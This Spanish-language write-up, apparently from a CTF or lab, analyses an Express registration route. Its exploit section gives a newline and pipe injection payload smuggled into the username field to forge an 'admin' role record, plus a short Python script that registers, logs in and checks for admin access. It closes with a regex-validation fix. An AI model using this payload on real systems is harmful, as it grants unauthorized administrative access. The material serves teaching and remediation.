Análisis#
Código inseguro#
En el código original tenemos una ruta de registro que acepta un username y un password desde req.body. Se usa esta información para crear un usuario con rol fijo ‘operator’.
// Register
router.post('/register', (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({ success: false, error: 'Username and password required' });
}
const success = addUser(username, password, 'operator');
if (!success) {
return res.status(400).json({ success: false, error: 'Username already exists or registration failed' });
}
Este código no valida ni sanitiza los datos de entrada correctamente. La función addUser recibe el username y password tal cual, lo que permite manipulación maliciosa.
Exploit#
El exploit aprovecha precisamente esa falta de validación y sanitización. Se construye un payload especial con la siguiente estructura:
{username}|4befd7f713861d52cb520dcf4b5b262b11a306fbd19a76563fa36b07e99a7aef|admin\n{username}
Esta cadena concatena un nombre de usuario seguido de un hash y la palabra "admin", con un salto de línea y otra vez el username. Cuando este payload se pasa al registro, el proceso de almacenamiento o autenticación interpreta la presencia del texto "admin" como un cambio directo de rol.
Luego, tras el registro, se hace login con el username y password originales, y se obtiene acceso con rol administrativo, lo cual no debería ser permitido.
La idea del exploit es inyectar información en el campo de username para sobrescribir el rol y obtener permisos elevados sin autenticación válida.
if __name__ == "__main__":
username = random_string(8)
password = "CoolPassword17!"
# password in hash format
payload = "{}|4befd7f713861d52cb520dcf4b5b262b11a306fbd19a76563fa36b07e99a7aef|admin\n{}".format(username, username)
register_user(payload, password)
# if register success, then we can login with the original username. Our role now should be admin after the injection.
cookies = login_user(username, password).cookies
response = get_admin_panel(cookies)
if "powergrid - administrator control" in response.text.lower():
print("Exploit success. Admin access obtained.")
print("Login with username: {} and password: {}".format(username, password))
else:
print("Exploit failed.")
Por qué sucede este fallo#
El sistema no valida ni limita la estructura del username ni password y acepta cadenas arbitrarias. Tampoco usa escapes o parámetros seguros en la base de datos, permitiendo que la inyección de texto afecte el rol asignado.
Solución#
Para corregir el problema, el enfoque es validar estrictamente y sancionar el contenido de username y password. Se añadieron expresiones regulares para restringir caracteres permitidos y longitudes, evitando caracteres especiales que puedan servir para inyección.
Ejemplo de validación saneada:
// Register
router.post('/register', (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({ success: false, error: 'Username and password required' });
}
const usernameRegex = /^[a-zA-Z0-9_!@#$%^&*]{3,30}$/;
if (!usernameRegex.test(username)) {
return res.status(400).json({ success: false, error: 'Username inválido' });
}
const passwordRegex = /^[a-zA-Z0-9_!@#$%^&*]{3,30}$/;
if (!passwordRegex.test(password)) {
return res.status(400).json({ success: false, error: 'Password inválido' });
}
const success = addUser(username, password, 'operator');
if (!success) {
return res.status(400).json({ success: false, error: 'Username already exists or registration failed' });
}
